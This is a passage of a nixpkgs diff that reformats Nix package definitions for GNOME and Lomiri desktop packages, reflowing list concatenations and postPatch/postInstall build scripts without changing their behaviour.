@@ -29,14 +29,13 @@ stdenv.mkDerivation rec {
 
   strictDeps = true;
 
-  buildInputs =
-    [
-      ORBit2
-      libxml2
-    ]
-    # polkit requires pam, which requires shadow.h, which is not available on
-    # darwin
-    ++ lib.optional (!stdenv.hostPlatform.isDarwin) polkit;
+  buildInputs = [
+    ORBit2
+    libxml2
+  ]
+  # polkit requires pam, which requires shadow.h, which is not available on
+  # darwin
+  ++ lib.optional (!stdenv.hostPlatform.isDarwin) polkit;
 
   propagatedBuildInputs = [
     glib
diff --git a/pkgs/desktops/gnome/extensions/systemd-manager/default.nix b/pkgs/desktops/gnome/extensions/systemd-manager/default.nix
index c6d983de6e40..d5d559ab131d 100644
--- a/pkgs/desktops/gnome/extensions/systemd-manager/default.nix
+++ b/pkgs/desktops/gnome/extensions/systemd-manager/default.nix
@@ -31,25 +31,24 @@ stdenvNoCC.mkDerivation rec {
 
   nativeBuildInputs = [ glib ];
 
-  postInstall =
-    ''
-      rm systemd-manager@hardpixel.eu/schemas/gschemas.compiled
-      glib-compile-schemas systemd-manager@hardpixel.eu/schemas
+  postInstall = ''
+    rm systemd-manager@hardpixel.eu/schemas/gschemas.compiled
+    glib-compile-schemas systemd-manager@hardpixel.eu/schemas
 
-      mkdir -p $out/share/gnome-shell/extensions
-      mv systemd-manager@hardpixel.eu $out/share/gnome-shell/extensions
-    ''
-    + lib.optionalString (allowPolkitPolicy == "pkexec") ''
-      local bn=org.freedesktop.policykit.pkexec.systemctl.policy
-      mkdir -p $out/share/polkit-1/actions
-      substitute systemd-policies/$bn $out/share/polkit-1/actions/$bn \
-        --replace-fail /usr/bin/systemctl ${lib.getBin systemd}/bin/systemctl
-    ''
-    + lib.optionalString (allowPolkitPolicy == "systemctl") ''
-      install -Dm0644 \
-        systemd-policies/10-service_status.rules \
-        $out/share/polkit-1/rules.d/10-gnome-extension-systemd-manager.rules
-    '';
+    mkdir -p $out/share/gnome-shell/extensions
+    mv systemd-manager@hardpixel.eu $out/share/gnome-shell/extensions
+  ''
+  + lib.optionalString (allowPolkitPolicy == "pkexec") ''
+    local bn=org.freedesktop.policykit.pkexec.systemctl.policy
+    mkdir -p $out/share/polkit-1/actions
+    substitute systemd-policies/$bn $out/share/polkit-1/actions/$bn \
+      --replace-fail /usr/bin/systemctl ${lib.getBin systemd}/bin/systemctl
+  ''
+  + lib.optionalString (allowPolkitPolicy == "systemctl") ''
+    install -Dm0644 \
+      systemd-policies/10-service_status.rules \
+      $out/share/polkit-1/rules.d/10-gnome-extension-systemd-manager.rules
+  '';
 
   passthru = {
     extensionUuid = "systemd-manager@hardpixel.eu";
diff --git a/pkgs/desktops/gnome/gdk-pixbuf-cache-builder.nix b/pkgs/desktops/gnome/gdk-pixbuf-cache-builder.nix
index 8f4313e92d2f..6ad349d664dc 100644
--- a/pkgs/desktops/gnome/gdk-pixbuf-cache-builder.nix
+++ b/pkgs/desktops/gnome/gdk-pixbuf-cache-builder.nix
@@ -14,7 +14,8 @@ let
   # Get packages to generate the cache for. We always include gdk-pixbuf.
   loaderPackages = [
     gdk-pixbuf
-  ] ++ extraLoaders;
+  ]
+  ++ extraLoaders;
 in
 
 # Generate the cache file by running gdk-pixbuf-query-loaders for each
diff --git a/pkgs/desktops/gnome/installer.nix b/pkgs/desktops/gnome/installer.nix
index 015f13b03bf2..3076a9a872cd 100644
--- a/pkgs/desktops/gnome/installer.nix
+++ b/pkgs/desktops/gnome/installer.nix
@@ -14,7 +14,8 @@ let
       modules = [
         module
         { image.baseName = isoBaseName; }
-      ] ++ extraModules;
+      ]
+      ++ extraModules;
     }).config;
 
 in
diff --git a/pkgs/desktops/gnome/nixos/gsettings-overrides/default.nix b/pkgs/desktops/gnome/nixos/gsettings-overrides/default.nix
index dd1bca40366a..3b64fc498ab1 100644
--- a/pkgs/desktops/gnome/nixos/gsettings-overrides/default.nix
+++ b/pkgs/desktops/gnome/nixos/gsettings-overrides/default.nix
@@ -18,15 +18,14 @@ let
 
   inherit (lib) concatMapStringsSep;
 
-  gsettingsOverridePackages =
-    [
-      gsettings-desktop-schemas
-      gnome-shell
-    ]
-    ++ lib.optionals flashbackEnabled [
-      gnome-flashback
-    ]
-    ++ extraGSettingsOverridePackages;
+  gsettingsOverridePackages = [
+    gsettings-desktop-schemas
+    gnome-shell
+  ]
+  ++ lib.optionals flashbackEnabled [
+    gnome-flashback
+  ]
+  ++ extraGSettingsOverridePackages;
 
   gsettingsOverrides = ''
     [org.gnome.desktop.background]
diff --git a/pkgs/desktops/gnome/update.nix b/pkgs/desktops/gnome/update.nix
index 2500739a22db..481aeb831542 100644
--- a/pkgs/desktops/gnome/update.nix
+++ b/pkgs/desktops/gnome/update.nix
@@ -104,7 +104,8 @@ in
     packageName
     packageVersion
     versionPolicy
-  ] ++ upperBound;
+  ]
+  ++ upperBound;
   supportedFeatures = [
     "commit"
   ];
diff --git a/pkgs/desktops/lomiri/applications/lomiri-calendar-app/default.nix b/pkgs/desktops/lomiri/applications/lomiri-calendar-app/default.nix
index 10673b1a3253..856f1fe00f7a 100644
--- a/pkgs/desktops/lomiri/applications/lomiri-calendar-app/default.nix
+++ b/pkgs/desktops/lomiri/applications/lomiri-calendar-app/default.nix
@@ -72,19 +72,18 @@ stdenv.mkDerivation (finalAttrs: {
     ./1114-lomiri-calendar-app-Adjust-SyncManager-filters.patch
   ];
 
-  postPatch =
-    ''
-      substituteInPlace CMakeLists.txt \
-        --replace-fail 'QT_IMPORTS_DIR "lib/''${ARCH_TRIPLET}"' 'QT_IMPORTS_DIR "${qtbase.qtQmlPrefix}"'
+  postPatch = ''
+    substituteInPlace CMakeLists.txt \
+      --replace-fail 'QT_IMPORTS_DIR "lib/''${ARCH_TRIPLET}"' 'QT_IMPORTS_DIR "${qtbase.qtQmlPrefix}"'
 
-      # Outdated paths
-      substituteInPlace tests/unittests/tst_{calendar_canvas,date,event_bubble,event_list_model}.qml \
-        --replace-fail '../../qml' '../../src/qml'
-    ''
-    + lib.optionalString (!finalAttrs.finalPackage.doCheck) ''
-      substituteInPlace CMakeLists.txt \
-        --replace-fail 'add_subdirectory(tests)' '# add_subdirectory(tests)'
-    '';
+    # Outdated paths
+    substituteInPlace tests/unittests/tst_{calendar_canvas,date,event_bubble,event_list_model}.qml \
+      --replace-fail '../../qml' '../../src/qml'
+  ''
+  + lib.optionalString (!finalAttrs.finalPackage.doCheck) ''
+    substituteInPlace CMakeLists.txt \
+      --replace-fail 'add_subdirectory(tests)' '# add_subdirectory(tests)'
+  '';
 
   strictDeps = true;
 
diff --git a/pkgs/desktops/lomiri/applications/lomiri-camera-app/default.nix b/pkgs/desktops/lomiri/applications/lomiri-camera-app/default.nix
index 8238f1fcbdeb..2589d1ba11a2 100644
--- a/pkgs/desktops/lomiri/applications/lomiri-camera-app/default.nix
+++ b/pkgs/desktops/lomiri/applications/lomiri-camera-app/default.nix
@@ -54,32 +54,31 @@ stdenv.mkDerivation (finalAttrs: {
     wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      exiv2
-      qtbase
-      qtdeclarative
-      qtmultimedia
-      qtquickcontrols2
-      qzxing
+  buildInputs = [
+    exiv2
+    qtbase
+    qtdeclarative
+    qtmultimedia
+    qtquickcontrols2
+    qzxing
 
-      # QML
-      libusermetrics
-      lomiri-action-api
-      lomiri-content-hub
-      lomiri-ui-toolkit
-      lomiri-thumbnailer
-      qtpositioning
-      qtsensors
-    ]
-    ++ (with gst_all_1; [
-      # cannot create camera service, the 'camerabin' plugin is missing for GStreamer
-      gstreamer
-      gst-plugins-base
-      gst-plugins-good
-      gst-plugins-bad
-      gst-plugins-ugly
-    ]);
+    # QML
+    libusermetrics
+    lomiri-action-api
+    lomiri-content-hub
+    lomiri-ui-toolkit
+    lomiri-thumbnailer
+    qtpositioning
+    qtsensors
+  ]
+  ++ (with gst_all_1; [
+    # cannot create camera service, the 'camerabin' plugin is missing for GStreamer
+    gstreamer
+    gst-plugins-base
+    gst-plugins-good
+    gst-plugins-bad
+    gst-plugins-ugly
+  ]);
 
   nativeCheckInputs = [ xvfb-run ];
 
diff --git a/pkgs/desktops/lomiri/applications/lomiri-mediaplayer-app/default.nix b/pkgs/desktops/lomiri/applications/lomiri-mediaplayer-app/default.nix
index bbb9050e6bec..ed9a987e4ae3 100644
--- a/pkgs/desktops/lomiri/applications/lomiri-mediaplayer-app/default.nix
+++ b/pkgs/desktops/lomiri/applications/lomiri-mediaplayer-app/default.nix
@@ -49,24 +49,23 @@ stdenv.mkDerivation (finalAttrs: {
     wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      qtbase
-      qtmultimedia
+  buildInputs = [
+    qtbase
+    qtmultimedia
 
-      # QML
-      lomiri-action-api
-      lomiri-content-hub
-      lomiri-ui-toolkit
-      qtxmlpatterns
-    ]
-    # QtMultimedia playback support
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-plugins-base
-      gst-plugins-good
-      gst-plugins-bad
-    ]);
+    # QML
+    lomiri-action-api
+    lomiri-content-hub
+    lomiri-ui-toolkit
+    qtxmlpatterns
+  ]
+  # QtMultimedia playback support
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-plugins-base
+    gst-plugins-good
+    gst-plugins-bad
+  ]);
 
   nativeCheckInputs = [
     qtdeclarative # qmltestrunner
diff --git a/pkgs/desktops/lomiri/applications/lomiri-music-app/default.nix b/pkgs/desktops/lomiri/applications/lomiri-music-app/default.nix
index 34654e838795..49fc854d2fff 100644
--- a/pkgs/desktops/lomiri/applications/lomiri-music-app/default.nix
+++ b/pkgs/desktops/lomiri/applications/lomiri-music-app/default.nix
@@ -47,27 +47,26 @@ stdenv.mkDerivation (finalAttrs: {
     wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      qtbase
-      qtdeclarative
+  buildInputs = [
+    qtbase
+    qtdeclarative
 
-      # QML
-      libusermetrics
-      lomiri-content-hub
-      lomiri-thumbnailer
-      lomiri-ui-toolkit
-      mediascanner2
-      qtmultimedia
-      qtsystems
-    ]
-    # QtMultimedia playback support
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-plugins-base
-      gst-plugins-good
-      gst-plugins-bad
-    ]);
+    # QML
+    libusermetrics
+    lomiri-content-hub
+    lomiri-thumbnailer
+    lomiri-ui-toolkit
+    mediascanner2
+    qtmultimedia
+    qtsystems
+  ]
+  # QtMultimedia playback support
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-plugins-base
+    gst-plugins-good
+    gst-plugins-bad
+  ]);
 
   dontWrapGApps = true;
 
diff --git a/pkgs/desktops/lomiri/applications/lomiri-system-settings/wrapper.nix b/pkgs/desktops/lomiri/applications/lomiri-system-settings/wrapper.nix
index 7a550370ef54..2a2112f5de3b 100644
--- a/pkgs/desktops/lomiri/applications/lomiri-system-settings/wrapper.nix
+++ b/pkgs/desktops/lomiri/applications/lomiri-system-settings/wrapper.nix
@@ -29,7 +29,8 @@ stdenvNoCC.mkDerivation (finalAttrs: {
   buildInputs = [
     glib # schema hook
     lomiri-system-settings-unwrapped
-  ] ++ plugins;
+  ]
+  ++ plugins;
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/desktops/lomiri/applications/lomiri/default.nix b/pkgs/desktops/lomiri/applications/lomiri/default.nix
index 1ba3ed098dcc..f1eedd98eb0f 100644
--- a/pkgs/desktops/lomiri/applications/lomiri/default.nix
+++ b/pkgs/desktops/lomiri/applications/lomiri/default.nix
@@ -100,38 +100,37 @@ stdenv.mkDerivation (finalAttrs: {
     })
   ];
 
-  postPatch =
-    ''
-      # Written with a different qtmir branch in mind, but different branch breaks compat with some patches
-      substituteInPlace CMakeLists.txt \
-        --replace-fail 'qt5mir2server' 'qtmirserver'
+  postPatch = ''
+    # Written with a different qtmir branch in mind, but different branch breaks compat with some patches
+    substituteInPlace CMakeLists.txt \
+      --replace-fail 'qt5mir2server' 'qtmirserver'
 
-      # Need to replace prefix
-      substituteInPlace data/systemd-user/CMakeLists.txt \
-        --replace-fail 'pkg_get_variable(SYSTEMD_USER_UNIT_DIR systemd systemd_user_unit_dir)' 'pkg_get_variable(SYSTEMD_USER_UNIT_DIR systemd systemd_user_unit_dir DEFINE_VARIABLES prefix=''${CMAKE_INSTALL_PREFIX})'
+    # Need to replace prefix
+    substituteInPlace data/systemd-user/CMakeLists.txt \
+      --replace-fail 'pkg_get_variable(SYSTEMD_USER_UNIT_DIR systemd systemd_user_unit_dir)' 'pkg_get_variable(SYSTEMD_USER_UNIT_DIR systemd systemd_user_unit_dir DEFINE_VARIABLES prefix=''${CMAKE_INSTALL_PREFIX})'
 
-      # Don't embed full paths into regular desktop files (but do embed them into lightdm greeter one)
-      substituteInPlace data/{indicators-client,lomiri}.desktop.in.in \
-        --replace-fail '@CMAKE_INSTALL_FULL_BINDIR@/' ""
+    # Don't embed full paths into regular desktop files (but do embed them into lightdm greeter one)
+    substituteInPlace data/{indicators-client,lomiri}.desktop.in.in \
+      --replace-fail '@CMAKE_INSTALL_FULL_BINDIR@/' ""
 
-      # Exclude tests that don't compile (Mir headers these relied on were removed in mir 2.9)
-      # fatal error: mirtest/mir/test/doubles/stub_surface.h: No such file or directory
-      substituteInPlace tests/mocks/CMakeLists.txt \
-        --replace-fail 'add_subdirectory(QtMir/Application)' ""
+    # Exclude tests that don't compile (Mir headers these relied on were removed in mir 2.9)
+    # fatal error: mirtest/mir/test/doubles/stub_surface.h: No such file or directory
+    substituteInPlace tests/mocks/CMakeLists.txt \
+      --replace-fail 'add_subdirectory(QtMir/Application)' ""
 
-      # NixOS-ify
+    # NixOS-ify
 
-      # Use Nix flake instead of Canonical's Ubuntu logo
-      rm qml/Launcher/graphics/home.svg
-      ln -s ${nixos-icons}/share/icons/hicolor/scalable/apps/nix-snowflake-white.svg qml/Launcher/graphics/home.svg
+    # Use Nix flake instead of Canonical's Ubuntu logo
+    rm qml/Launcher/graphics/home.svg
+    ln -s ${nixos-icons}/share/icons/hicolor/scalable/apps/nix-snowflake-white.svg qml/Launcher/graphics/home.svg
 
-      # Look up default wallpaper in current system
-      substituteInPlace plugins/Utils/constants.cpp \
-        --replace-fail '/usr/share/backgrounds' '/run/current-system/sw/share/wallpapers'
-    ''
-    + lib.optionalString finalAttrs.finalPackage.doCheck ''
-      patchShebangs tests/whitespace/check_whitespace.py
-    '';
+    # Look up default wallpaper in current system
+    substituteInPlace plugins/Utils/constants.cpp \
+      --replace-fail '/usr/share/backgrounds' '/run/current-system/sw/share/wallpapers'
+  ''
+  + lib.optionalString finalAttrs.finalPackage.doCheck ''
+    patchShebangs tests/whitespace/check_whitespace.py
+  '';
 
   nativeBuildInputs = [
     cmake
diff --git a/pkgs/desktops/lomiri/applications/morph-browser/default.nix b/pkgs/desktops/lomiri/applications/morph-browser/default.nix
index ad6a33346b27..cce21652138f 100644
--- a/pkgs/desktops/lomiri/applications/morph-browser/default.nix
+++ b/pkgs/desktops/lomiri/applications/morph-browser/default.nix
@@ -43,22 +43,21 @@ stdenv.mkDerivation (finalAttrs: {
     "doc"
   ];
 
-  postPatch =
-    ''
-      substituteInPlace src/{Morph,Ubuntu}/CMakeLists.txt \
-        --replace-fail '/usr/lib/''${CMAKE_LIBRARY_ARCHITECTURE}/qt5/qml' "\''${CMAKE_INSTALL_PREFIX}/${qtbase.qtQmlPrefix}"
+  postPatch = ''
+    substituteInPlace src/{Morph,Ubuntu}/CMakeLists.txt \
+      --replace-fail '/usr/lib/''${CMAKE_LIBRARY_ARCHITECTURE}/qt5/qml' "\''${CMAKE_INSTALL_PREFIX}/${qtbase.qtQmlPrefix}"
 
-      substituteInPlace src/app/webbrowser/morph-browser.desktop.in.in \
-        --replace-fail 'Icon=@CMAKE_INSTALL_FULL_DATADIR@/morph-browser/morph-browser.svg' 'Icon=morph-browser' \
-        --replace-fail 'X-Lomiri-Splash-Image=@CMAKE_INSTALL_FULL_DATADIR@/morph-browser/morph-browser-splash.svg' 'X-Lomiri-Splash-Image=lomiri-app-launch/splash/morph-browser.svg'
+    substituteInPlace src/app/webbrowser/morph-browser.desktop.in.in \
+      --replace-fail 'Icon=@CMAKE_INSTALL_FULL_DATADIR@/morph-browser/morph-browser.svg' 'Icon=morph-browser' \
+      --replace-fail 'X-Lomiri-Splash-Image=@CMAKE_INSTALL_FULL_DATADIR@/morph-browser/morph-browser-splash.svg' 'X-Lomiri-Splash-Image=lomiri-app-launch/splash/morph-browser.svg'
 
-      substituteInPlace doc/CMakeLists.txt \
-        --replace-fail 'COMMAND ''${QDOC_EXECUTABLE} -qt5' 'COMMAND ''${QDOC_EXECUTABLE}'
-    ''
-    + lib.optionalString (!finalAttrs.finalPackage.doCheck) ''
-      substituteInPlace CMakeLists.txt \
-        --replace-fail 'add_subdirectory(tests)' ""
-    '';
+    substituteInPlace doc/CMakeLists.txt \
+      --replace-fail 'COMMAND ''${QDOC_EXECUTABLE} -qt5' 'COMMAND ''${QDOC_EXECUTABLE}'
+  ''
+  + lib.optionalString (!finalAttrs.finalPackage.doCheck) ''
+    substituteInPlace CMakeLists.txt \
+      --replace-fail 'add_subdirectory(tests)' ""
+  '';
 
   strictDeps = true;
 
diff --git a/pkgs/desktops/lomiri/development/geonames/default.nix b/pkgs/desktops/lomiri/development/geonames/default.nix
index 03c18d2067c6..dd6c19d142cb 100644
--- a/pkgs/desktops/lomiri/development/geonames/default.nix
+++ b/pkgs/desktops/lomiri/development/geonames/default.nix
@@ -31,17 +31,16 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-AhRnUoku17kVY0UciHQXFDa6eCH6HQ4ZGIOobCaGTKQ=";
   };
 
-  outputs =
-    [
-      "out"
-      "dev"
-    ]
-    ++ lib.optionals withExamples [
-      "bin"
-    ]
-    ++ lib.optionals withDocumentation [
-      "devdoc"
-    ];
+  outputs = [
+    "out"
+    "dev"
+  ]
+  ++ lib.optionals withExamples [
+    "bin"
+  ]
+  ++ lib.optionals withDocumentation [
+    "devdoc"
+  ];
 
   postPatch = ''
     patchShebangs src/generate-locales.sh tests/setup-test-env.sh
@@ -49,27 +48,25 @@ stdenv.mkDerivation (finalAttrs: {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      cmake
-      gettext
-      glib # glib-compile-resources
-      pkg-config
-      validatePkgConfig
-    ]
-    ++ lib.optionals withDocumentation [
-      docbook-xsl-nons
-      docbook_xml_dtd_45
-      gtk-doc
-    ];
+  nativeBuildInputs = [
+    cmake
+    gettext
+    glib # glib-compile-resources
+    pkg-config
+    validatePkgConfig
+  ]
+  ++ lib.optionals withDocumentation [
+    docbook-xsl-nons
+    docbook_xml_dtd_45
+    gtk-doc
+  ];
 
-  buildInputs =
-    [
-      glib
-    ]
-    ++ lib.optionals withExamples [
-      gtk3
-    ];
+  buildInputs = [
+    glib
+  ]
+  ++ lib.optionals withExamples [
+    gtk3
+  ];
 
   # Tests need to be able to check locale
   LC_ALL = lib.optionalString finalAttrs.finalPackage.doCheck "en_US.UTF-8";
@@ -82,18 +79,17 @@ stdenv.mkDerivation (finalAttrs: {
     "LD=${stdenv.cc.targetPrefix}cc"
   ];
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "WANT_DOC" withDocumentation)
-      (lib.cmakeBool "WANT_DEMO" withExamples)
-      (lib.cmakeBool "WANT_TESTS" finalAttrs.finalPackage.doCheck)
-      # Keeps finding & using glib-compile-resources from buildInputs otherwise
-      (lib.cmakeFeature "CMAKE_PROGRAM_PATH" (lib.makeBinPath [ buildPackages.glib.dev ]))
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      # only for cross without native execute support because the canExecute "emulator" call has a format that I can't get CMake to accept
-      (lib.cmakeFeature "CMAKE_CROSSCOMPILING_EMULATOR" (stdenv.hostPlatform.emulator buildPackages))
-    ];
+  cmakeFlags = [
+    (lib.cmakeBool "WANT_DOC" withDocumentation)
+    (lib.cmakeBool "WANT_DEMO" withExamples)
+    (lib.cmakeBool "WANT_TESTS" finalAttrs.finalPackage.doCheck)
+    # Keeps finding & using glib-compile-resources from buildInputs otherwise
+    (lib.cmakeFeature "CMAKE_PROGRAM_PATH" (lib.makeBinPath [ buildPackages.glib.dev ]))
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    # only for cross without native execute support because the canExecute "emulator" call has a format that I can't get CMake to accept
+    (lib.cmakeFeature "CMAKE_CROSSCOMPILING_EMULATOR" (stdenv.hostPlatform.emulator buildPackages))
+  ];
 
   preInstall = lib.optionalString withDocumentation ''
     # gtkdoc-mkhtml generates images without write permissions, errors out during install
diff --git a/pkgs/desktops/lomiri/development/lomiri-app-launch/default.nix b/pkgs/desktops/lomiri/development/lomiri-app-launch/default.nix
index 5abab7f6e764..f597587a834c 100644
--- a/pkgs/desktops/lomiri/development/lomiri-app-launch/default.nix
+++ b/pkgs/desktops/lomiri/development/lomiri-app-launch/default.nix
@@ -33,14 +33,13 @@ stdenv.mkDerivation (finalAttrs: {
   pname = "lomiri-app-launch";
   version = "0.1.12";
 
-  outputs =
-    [
-      "out"
-      "dev"
-    ]
-    ++ lib.optionals withDocumentation [
-      "doc"
-    ];
+  outputs = [
+    "out"
+    "dev"
+  ]
+  ++ lib.optionals withDocumentation [
+    "doc"
+  ];
 
   src = fetchFromGitLab {
     owner = "ubports";
@@ -67,20 +66,19 @@ stdenv.mkDerivation (finalAttrs: {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      cmake
-      dpkg # for setting LOMIRI_APP_LAUNCH_ARCH
-      gobject-introspection
-      lttng-ust
-      pkg-config
-      validatePkgConfig
-    ]
-    ++ lib.optionals withDocumentation [
-      doxygen
-      python3Packages.breathe
-      sphinx
-    ];
+  nativeBuildInputs = [
+    cmake
+    dpkg # for setting LOMIRI_APP_LAUNCH_ARCH
+    gobject-introspection
+    lttng-ust
+    pkg-config
+    validatePkgConfig
+  ]
+  ++ lib.optionals withDocumentation [
+    doxygen
+    python3Packages.breathe
+    sphinx
+  ];
 
   buildInputs = [
     cmake-extras
diff --git a/pkgs/desktops/lomiri/development/trust-store/default.nix b/pkgs/desktops/lomiri/development/trust-store/default.nix
index 489c94e7272e..f3526e8f4102 100644
--- a/pkgs/desktops/lomiri/development/trust-store/default.nix
+++ b/pkgs/desktops/lomiri/development/trust-store/default.nix
@@ -58,20 +58,19 @@ stdenv.mkDerivation (finalAttrs: {
     ./1001-treewide-Switch-to-glog-CMake-module.patch
   ];
 
-  postPatch =
-    ''
-      # pkg-config patching hook expects prefix variable
-      substituteInPlace data/trust-store.pc.in \
-        --replace-fail 'libdir=''${exec_prefix}' 'libdir=''${prefix}' \
-        --replace-fail 'includedir=''${exec_prefix}' 'includedir=''${prefix}'
+  postPatch = ''
+    # pkg-config patching hook expects prefix variable
+    substituteInPlace data/trust-store.pc.in \
+      --replace-fail 'libdir=''${exec_prefix}' 'libdir=''${prefix}' \
+      --replace-fail 'includedir=''${exec_prefix}' 'includedir=''${prefix}'
 
-      substituteInPlace src/core/trust/terminal_agent.h \
-        --replace-fail '/bin/whiptail' '${lib.getExe' newt "whiptail"}'
-    ''
-    + lib.optionalString (!finalAttrs.finalPackage.doCheck) ''
-      substituteInPlace CMakeLists.txt \
-        --replace-fail 'add_subdirectory(tests)' ""
-    '';
+    substituteInPlace src/core/trust/terminal_agent.h \
+      --replace-fail '/bin/whiptail' '${lib.getExe' newt "whiptail"}'
+  ''
+  + lib.optionalString (!finalAttrs.finalPackage.doCheck) ''
+    substituteInPlace CMakeLists.txt \
+      --replace-fail 'add_subdirectory(tests)' ""
+  '';
 
   strictDeps = true;
 
diff --git a/pkgs/desktops/lomiri/qml/lomiri-notifications/default.nix b/pkgs/desktops/lomiri/qml/lomiri-notifications/default.nix
index 18f9386a63e1..a01c8e80d988 100644
--- a/pkgs/desktops/lomiri/qml/lomiri-notifications/default.nix
+++ b/pkgs/desktops/lomiri/qml/lomiri-notifications/default.nix
@@ -23,19 +23,18 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-d3fJiYGAYF5e6XPuZ26Lrjj8tUiquunMLDLs9PdAYcA=";
   };
 
-  postPatch =
-    ''
-      substituteInPlace CMakeLists.txt \
-        --replace-fail "\''${CMAKE_INSTALL_LIBDIR}/qt5/qml" "\''${CMAKE_INSTALL_PREFIX}/${qtbase.qtQmlPrefix}"
+  postPatch = ''
+    substituteInPlace CMakeLists.txt \
+      --replace-fail "\''${CMAKE_INSTALL_LIBDIR}/qt5/qml" "\''${CMAKE_INSTALL_PREFIX}/${qtbase.qtQmlPrefix}"
 
-      # Need to replace prefix to not try to install into lomiri-api prefix
-      substituteInPlace src/CMakeLists.txt \
-        --replace-fail '--variable=plugindir' '--define-variable=prefix=''${CMAKE_INSTALL_PREFIX} --variable=plugindir'
-    ''
-    + lib.optionalString (!finalAttrs.finalPackage.doCheck) ''
-      substituteInPlace CMakeLists.txt \
-        --replace-fail 'add_subdirectory(test)' ""
-    '';
+    # Need to replace prefix to not try to install into lomiri-api prefix
+    substituteInPlace src/CMakeLists.txt \
+      --replace-fail '--variable=plugindir' '--define-variable=prefix=''${CMAKE_INSTALL_PREFIX} --variable=plugindir'
+  ''
+  + lib.optionalString (!finalAttrs.finalPackage.doCheck) ''
+    substituteInPlace CMakeLists.txt \
+      --replace-fail 'add_subdirectory(test)' ""
+  '';
 
   strictDeps = true;
 
diff --git a/pkgs/desktops/lomiri/qml/lomiri-settings-components/default.nix b/pkgs/desktops/lomiri/qml/lomiri-settings-components/default.nix
index 9575da6de572..f07fe1731d68 100644
--- a/pkgs/desktops/lomiri/qml/lomiri-settings-components/default.nix
+++ b/pkgs/desktops/lomiri/qml/lomiri-settings-components/default.nix
@@ -22,17 +22,16 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-H7G3dzzitdyahB/MwgtfRBpo+qMOhmQSzN4EGYculks=";
   };
 
-  postPatch =
-    ''
-      patchShebangs tests/imports/check_imports.py
+  postPatch = ''
+    patchShebangs tests/imports/check_imports.py
 
-      substituteInPlace CMakeLists.txt \
-        --replace "\''${CMAKE_INSTALL_LIBDIR}/qt5/qml" '${placeholder "out"}/${qtbase.qtQmlPrefix}'
-    ''
-    + lib.optionalString (!finalAttrs.finalPackage.doCheck) ''
-      sed -i CMakeLists.txt \
-        -e '/add_subdirectory(tests)/d'
-    '';
+    substituteInPlace CMakeLists.txt \
+      --replace "\''${CMAKE_INSTALL_LIBDIR}/qt5/qml" '${placeholder "out"}/${qtbase.qtQmlPrefix}'
+  ''
+  + lib.optionalString (!finalAttrs.finalPackage.doCheck) ''
+    sed -i CMakeLists.txt \
+      -e '/add_subdirectory(tests)/d'
+  '';
 
   strictDeps = true;
 
diff --git a/pkgs/desktops/lomiri/services/biometryd/default.nix b/pkgs/desktops/lomiri/services/biometryd/default.nix
index 3c8e3cc2064e..4085f8ecd718 100644
--- a/pkgs/desktops/lomiri/services/biometryd/default.nix
+++ b/pkgs/desktops/lomiri/services/biometryd/default.nix
@@ -38,23 +38,22 @@ stdenv.mkDerivation (finalAttrs: {
     "dev"
   ];
 
-  postPatch =
-    ''
-      # Substitute systemd's prefix in pkg-config call
-      substituteInPlace data/CMakeLists.txt \
-        --replace-fail 'pkg_get_variable(SYSTEMD_SYSTEM_UNIT_DIR systemd systemdsystemunitdir)' 'pkg_get_variable(SYSTEMD_SYSTEM_UNIT_DIR systemd systemdsystemunitdir DEFINE_VARIABLES prefix=''${CMAKE_INSTALL_PREFIX})'
+  postPatch = ''
+    # Substitute systemd's prefix in pkg-config call
+    substituteInPlace data/CMakeLists.txt \
+      --replace-fail 'pkg_get_variable(SYSTEMD_SYSTEM_UNIT_DIR systemd systemdsystemunitdir)' 'pkg_get_variable(SYSTEMD_SYSTEM_UNIT_DIR systemd systemdsystemunitdir DEFINE_VARIABLES prefix=''${CMAKE_INSTALL_PREFIX})'
 
-      substituteInPlace src/biometry/qml/Biometryd/CMakeLists.txt \
-        --replace-fail "\''${CMAKE_INSTALL_LIBDIR}/qt5/qml" "\''${CMAKE_INSTALL_PREFIX}/${qtbase.qtQmlPrefix}"
+    substituteInPlace src/biometry/qml/Biometryd/CMakeLists.txt \
+      --replace-fail "\''${CMAKE_INSTALL_LIBDIR}/qt5/qml" "\''${CMAKE_INSTALL_PREFIX}/${qtbase.qtQmlPrefix}"
 
-      # For our automatic pkg-config output patcher to work, prefix must be used here
-      substituteInPlace data/biometryd.pc.in \
-        --replace-fail 'libdir=''${exec_prefix}' 'libdir=''${prefix}' \
-        --replace-fail 'includedir=''${exec_prefix}' 'includedir=''${prefix}' \
-    ''
-    + lib.optionalString (!finalAttrs.finalPackage.doCheck) ''
-      sed -i -e '/add_subdirectory(tests)/d' CMakeLists.txt
-    '';
+    # For our automatic pkg-config output patcher to work, prefix must be used here
+    substituteInPlace data/biometryd.pc.in \
+      --replace-fail 'libdir=''${exec_prefix}' 'libdir=''${prefix}' \
+      --replace-fail 'includedir=''${exec_prefix}' 'includedir=''${prefix}' \
+  ''
+  + lib.optionalString (!finalAttrs.finalPackage.doCheck) ''
+    sed -i -e '/add_subdirectory(tests)/d' CMakeLists.txt
+  '';
 
   strictDeps = true;
 
diff --git a/pkgs/desktops/lomiri/services/lomiri-download-manager/default.nix b/pkgs/desktops/lomiri/services/lomiri-download-manager/default.nix
index 81dcef5d8914..cfc8b18cbc09 100644
--- a/pkgs/desktops/lomiri/services/lomiri-download-manager/default.nix
+++ b/pkgs/desktops/lomiri/services/lomiri-download-manager/default.nix
@@ -41,7 +41,8 @@ stdenv.mkDerivation (finalAttrs: {
   outputs = [
     "out"
     "dev"
-  ] ++ lib.optionals withDocumentation [ "doc" ];
+  ]
+  ++ lib.optionals withDocumentation [ "doc" ];
 
